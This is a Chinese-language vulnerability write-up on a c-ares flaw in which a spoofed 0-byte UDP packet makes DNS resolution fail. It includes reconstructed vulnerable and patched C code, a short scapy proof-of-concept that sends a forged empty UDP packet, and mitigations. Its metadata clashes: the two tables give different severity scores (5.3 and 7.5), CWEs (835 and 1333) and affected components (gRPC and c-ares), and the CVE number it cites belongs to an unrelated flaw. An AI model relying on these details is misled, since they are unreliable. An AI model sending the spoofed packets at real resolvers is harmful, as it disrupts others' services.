一、漏洞简介¶
1.1 漏洞背景¶
c-ares 在处理 DNS 响应时,对 UDP 和 TCP 连接的处理逻辑存在差异。当收到 0 字节的 UDP 数据包时,c-ares 错误地将其解释为连接关闭信号(这仅在 TCP 中有效),导致当前 DNS 解析失败。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-25881 |
| 危害等级 | MEDIUM / 5.3 |
| 漏洞类型 | c-ares 0 字节 UDP 拒绝服务 |
| 披露时间 | 2023-01-31 |
| 影响组件 | gRPC |
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2022-25881 (对应 GHSA-9g78-jv2r-p7vc) |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| CWE 编号 | CWE-835 (Loop with Unreachable Exit Condition) |
| 影响组件 | c-ares |
| GHSA 编号 | GHSA-9g78-jv2r-p7vc |
补充核验信息:公开时间:2023-01-31;NVD 评分:5.3(MEDIUM);CWE:CWE-1333。
二、影响范围¶
2.1 受影响的版本¶
- c-ares < 1.19.1
2.2 不受影响的版本¶
- c-ares >= 1.19.1
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 攻击者能够向目标 DNS 解析器发送伪造的 UDP 数据包
- 攻击者能够监听受害者的 DNS 查询(用于确定响应时机)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击步骤:
- 目标发起查询:目标解析器发送 DNS 查询
- 攻击者伪造响应:攻击者伪造一个长度为 0 的 UDP 数据包并返回给目标
- 错误解释:目标解析器错误地将 0 长度解释为连接的优雅关闭(仅对 TCP 连接有效,UDP 是无连接的)
- 解析失败:当前解析失败,实现 DoS 攻击
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置:src/lib/ares_process.c
问题代码逻辑:
static void read_udp_packets(ares_channel channel, fd_set *read_fds, time_t now) {
// ...
count = recvfrom(sockfd, (char *)buf, sizeof(buf), 0, ...);
if (count <= 0) {
// BUG: 将 UDP 的 0 字节读取视为连接关闭
// 这只在 TCP 中有效,UDP 是无连接的
handle_connection_close(channel, now);
return;
}
// ...
}
修复补丁:
static void read_udp_packets(ares_channel channel, fd_set *read_fds, time_t now) {
// ...
count = recvfrom(sockfd, (char *)buf, sizeof(buf), 0, ...);
if (count < 0) {
// 只处理真正的错误
if (SOCKET_ERROR_IS_EWOULDBLOCK)
return;
handle_error(channel, now);
return;
}
if (count == 0) {
// UDP 收到 0 字节不是关闭信号,忽略
return; // 修复:不关闭连接
}
// 正常处理 DNS 响应
process_dns_response(channel, buf, count, now);
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 scapy 构造攻击数据包
pip install scapy
4.2 PoC 演示与测试过程¶
#!/usr/bin/env python3
"""
CVE-2022-25881 PoC
演示如何通过发送 0 字节 UDP 包实现 DNS 解析 DoS
仅用于安全研究和教育目的
"""
from scapy.all import *
import time
def cve_2022_25881_poc(target_ip, dns_port, src_port):
"""
发送伪造的 0 字节 UDP 响应
参数:
target_ip: 目标服务器 IP
dns_port: DNS 服务器端口 (通常 53)
src_port: 伪造的源端口 (应匹配目标的 DNS 查询)
"""
# 构造空 UDP 包
packet = IP(dst=target_ip) / UDP(sport=src_port, dport=dns_port) / Raw(load=b'')
# 发送数据包
send(packet, verbose=0)
print(f"[*] 发送了 0 字节 UDP 包到 {target_ip}:{dns_port}")
# 注意:实际攻击需要:
# 1. 监听目标的 DNS 查询
# 2. 在目标查询后立即发送伪造响应
# 3. 伪造包的源端口需要匹配 DNS 服务器的端口
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 升级 c-ares 至 >= 1.19.1
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 网络层防护:
- 部署 BCP38 过滤伪造 IP 包
- 使用 DNS over TLS (DoT) 防止 UDP 欺骗
-
配置防火墙只接受来自可信 DNS 服务器的响应
-
应用层防护:
- 实现 DNS 查询重试机制
- 使用多个 DNS 服务器作为备份
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
6.2 其他技术参考资料¶
- 清华大学网络与信息安全实验室研究报告